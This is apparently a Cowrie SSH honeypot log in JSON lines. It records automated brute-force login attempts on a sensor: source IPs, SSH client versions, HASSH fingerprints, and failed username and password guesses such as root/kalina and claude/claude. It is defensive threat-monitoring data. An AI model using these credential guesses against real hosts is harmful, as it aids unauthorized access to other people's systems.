{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:54:47.522734Z","src_ip":"103.82.132.16","session":"dd112e69fc4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:54:47.599184Z","src_ip":"80.94.92.184","session":"72b51c02e9e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:54:48.332556Z","src_ip":"103.149.170.125","session":"cd68ad4e5f40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":47106,"dst_ip":"159.203.135.109","dst_port":22,"session":"d537c22db7e9","protocol":"ssh","message":"New connection: 103.77.242.62:47106 (159.203.135.109:22) [session: d537c22db7e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:55:00.011104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:55:00.017528Z","src_ip":"103.77.242.62","session":"d537c22db7e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:55:00.262895Z","src_ip":"103.77.242.62","session":"d537c22db7e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kalina","message":"login attempt [root/kalina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:55:01.001695Z","src_ip":"103.77.242.62","session":"d537c22db7e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:55:02.253824Z","src_ip":"103.77.242.62","session":"d537c22db7e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":36876,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ac6d516290e","protocol":"ssh","message":"New connection: 103.27.238.116:36876 (159.203.135.109:22) [session: 5ac6d516290e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:55:09.592337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:55:09.597529Z","src_ip":"103.27.238.116","session":"5ac6d516290e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:55:09.868611Z","src_ip":"103.27.238.116","session":"5ac6d516290e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789zxc","message":"login attempt [root/123456789zxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:55:10.681700Z","src_ip":"103.27.238.116","session":"5ac6d516290e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:55:11.956905Z","src_ip":"103.27.238.116","session":"5ac6d516290e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.173.38.229","src_port":60174,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6e2c3646c3d","protocol":"ssh","message":"New connection: 62.173.38.229:60174 (10.17.0.5:22) [session: c6e2c3646c3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:55:12.581763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:55:12.592912Z","src_ip":"62.173.38.229","session":"c6e2c3646c3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:55:12.758903Z","src_ip":"62.173.38.229","session":"c6e2c3646c3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:55:13.683340Z","src_ip":"62.173.38.229","session":"c6e2c3646c3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:55:14.854380Z","src_ip":"62.173.38.229","session":"c6e2c3646c3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.66.52.41","src_port":44300,"dst_ip":"10.17.0.5","dst_port":22,"session":"e805933ec88b","protocol":"ssh","message":"New connection: 45.66.52.41:44300 (10.17.0.5:22) [session: e805933ec88b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:55:20.147998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:55:20.153013Z","src_ip":"45.66.52.41","session":"e805933ec88b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:55:20.328340Z","src_ip":"45.66.52.41","session":"e805933ec88b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chester","message":"login attempt [root/chester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:55:21.184949Z","src_ip":"45.66.52.41","session":"e805933ec88b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:55:22.363696Z","src_ip":"45.66.52.41","session":"e805933ec88b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.102.61","src_port":45606,"dst_ip":"10.17.0.5","dst_port":22,"session":"39fb21852e32","protocol":"ssh","message":"New connection: 43.128.102.61:45606 (10.17.0.5:22) [session: 39fb21852e32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:55:36.320405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:55:36.325508Z","src_ip":"43.128.102.61","session":"39fb21852e32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:55:36.571759Z","src_ip":"43.128.102.61","session":"39fb21852e32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yu123456@","message":"login attempt [root/Yu123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:55:37.592883Z","src_ip":"43.128.102.61","session":"39fb21852e32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:55:38.845564Z","src_ip":"43.128.102.61","session":"39fb21852e32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":60720,"dst_ip":"10.17.0.5","dst_port":22,"session":"7de8ccb68aa0","protocol":"ssh","message":"New connection: 87.251.79.125:60720 (10.17.0.5:22) [session: 7de8ccb68aa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:08.632703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:08.637589Z","src_ip":"87.251.79.125","session":"7de8ccb68aa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:08.709036Z","src_ip":"87.251.79.125","session":"7de8ccb68aa0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jordan23","message":"login attempt [root/jordan23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:08.922780Z","src_ip":"87.251.79.125","session":"7de8ccb68aa0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:09.997812Z","src_ip":"87.251.79.125","session":"7de8ccb68aa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.245","src_port":45046,"dst_ip":"10.17.0.5","dst_port":22,"session":"21af030a53f5","protocol":"ssh","message":"New connection: 181.188.176.245:45046 (10.17.0.5:22) [session: 21af030a53f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:21.932836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:21.937644Z","src_ip":"181.188.176.245","session":"21af030a53f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:22.104105Z","src_ip":"181.188.176.245","session":"21af030a53f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hello@1234","message":"login attempt [root/Hello@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:22.799179Z","src_ip":"181.188.176.245","session":"21af030a53f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:23.968781Z","src_ip":"181.188.176.245","session":"21af030a53f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":58162,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3134c629dc1","protocol":"ssh","message":"New connection: 176.65.148.108:58162 (10.17.0.5:22) [session: b3134c629dc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:27.176311Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:27.260375Z","src_ip":"176.65.148.108","session":"b3134c629dc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":58176,"dst_ip":"10.17.0.5","dst_port":22,"session":"17a1837eac49","protocol":"ssh","message":"New connection: 176.65.148.108:58176 (10.17.0.5:22) [session: 17a1837eac49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:27.338880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:27.343848Z","src_ip":"176.65.148.108","session":"17a1837eac49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:27.426465Z","src_ip":"176.65.148.108","session":"17a1837eac49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"1","message":"login attempt [a/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:27.674253Z","src_ip":"176.65.148.108","session":"17a1837eac49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.173.38.229","src_port":60438,"dst_ip":"10.17.0.5","dst_port":22,"session":"07cc37422c37","protocol":"ssh","message":"New connection: 62.173.38.229:60438 (10.17.0.5:22) [session: 07cc37422c37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:27.736869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:56:27.779861Z","src_ip":"62.173.38.229","session":"07cc37422c37","protocol":"ssh"}
